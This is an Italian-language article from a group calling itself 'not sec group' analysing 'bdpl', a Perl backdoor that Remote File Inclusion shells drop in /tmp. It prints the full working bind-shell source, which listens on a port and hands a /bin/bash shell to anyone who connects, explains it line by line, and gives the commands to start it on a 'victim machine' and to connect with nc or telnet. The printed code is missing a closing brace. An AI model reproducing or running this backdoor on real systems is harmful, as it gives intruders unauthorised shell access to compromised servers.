not sec group
http://www.notsec.com

ANALISI VELOCI - RFI bdpl

Se facciamo caso nella maggior parte delle shell usate nella famosa tecnica
del RFI (Remote File Inclusion) possiamo notare, una volta avviata la shell,
che vengono creati dei file in /tmp.
Uno di questi file e' bdpl.
Il file "bdpl" non e' altro che una backdoor in perl (BackDoorPerL).
Questa backdoor (come la maggior parte delle backdoor) ci permette
di avere accesso alla macchina vittima con una shell bash se presente
sul sistema, in questo caso preferisco indicare la shell sh in quanto
e' piu' probabile che sia presente nel sistema.

il file in questione:

----------bdpl----------

```
#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
```

----------bdpl----------

esaminando velocemente il codice:

1 #!/usr/bin/perl
si esegue perl che sta in /usr/bin/perl

2 $SHELL="/bin/bash -i";
indica che SHELL e' uguale a /bin/bash e cioe la shell

3 if (@ARGV < 1) { exit(1); }
qua si specifica che se non viene dato nessuno argomento quando lanciamo il programma non contin
ua

4 $LISTEN_PORT=$ARGV[0];
idem come $SHELL solo che qua LISTEN_PORT sara' l'argomento che passeremo quando lanciamo il pr
ogramma faccio notare che $ARGV[0] sta per il primo parametro passato, il secondo parametro sar
a' ARGV[1] questo perche' incominciamo da 0 e non da 1 come viene piu' facilmente pensare, quin
di se sono quattro i parametri/argomenti da passare l'ultimo sara' ARGV[3].

5 use Socket;
usiamo i socket. I socket ci servono per costruire una connessione

6 $protocol=getprotobyname('tcp');
usiamo il protocollo TCP che e' quello piu' adatto.

7 socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
viene creato il socket

8 setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
vengono impostate le opzioni del socket

9 bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
viene assegnato l'indirizzo al socket, In questo caso consente la connessione
a tutti sulla porta che passiamo come primo argomento.

10 listen(S,3) || die "Cant listen port\n";
viene messo in ascolto il socket rimanendo in attesa di connessioni
da parte del client

11 while(1)
13 accept(CONN,S);
qua viene eseguito il ciclo, (while) +/- finche e' attivo il programma
accettiamo connessioni (accept)

14 if(!($pid=fork))
17 open STDIN,"<&CONN";
18 open STDOUT,">&CONN";
viene aperto il processo in input ed output

20 exec $SHELL || die print CONN "Cant execute $SHELL\n";
viene eseguita la shell (/bin/bash)

21 close CONN;
22 exit 0;
quando finito chiude la connessione e termina con successo.

Quindi letto il codice possiamo capire che bdpl dovra' essere
lanciato sulla macchina vittima in questo modo:

perl bdpl 5667
o meglio tramite le shell usate per la tecnica del RFI
perl /tmp/bdpl 5667

e cioe':
perl: perche' e' un programma perl
bdpl: e' il programma
5667: e' la porta sulla quala ci dobbiamo connettere ($ARGV[0])

sul client useremo ad esempio:
$ nc indirizzo.del.server.vittima 5667
o
c:\> telnet indirizzo.del.server.vittima 5667

not sec group
http://www.notsec.com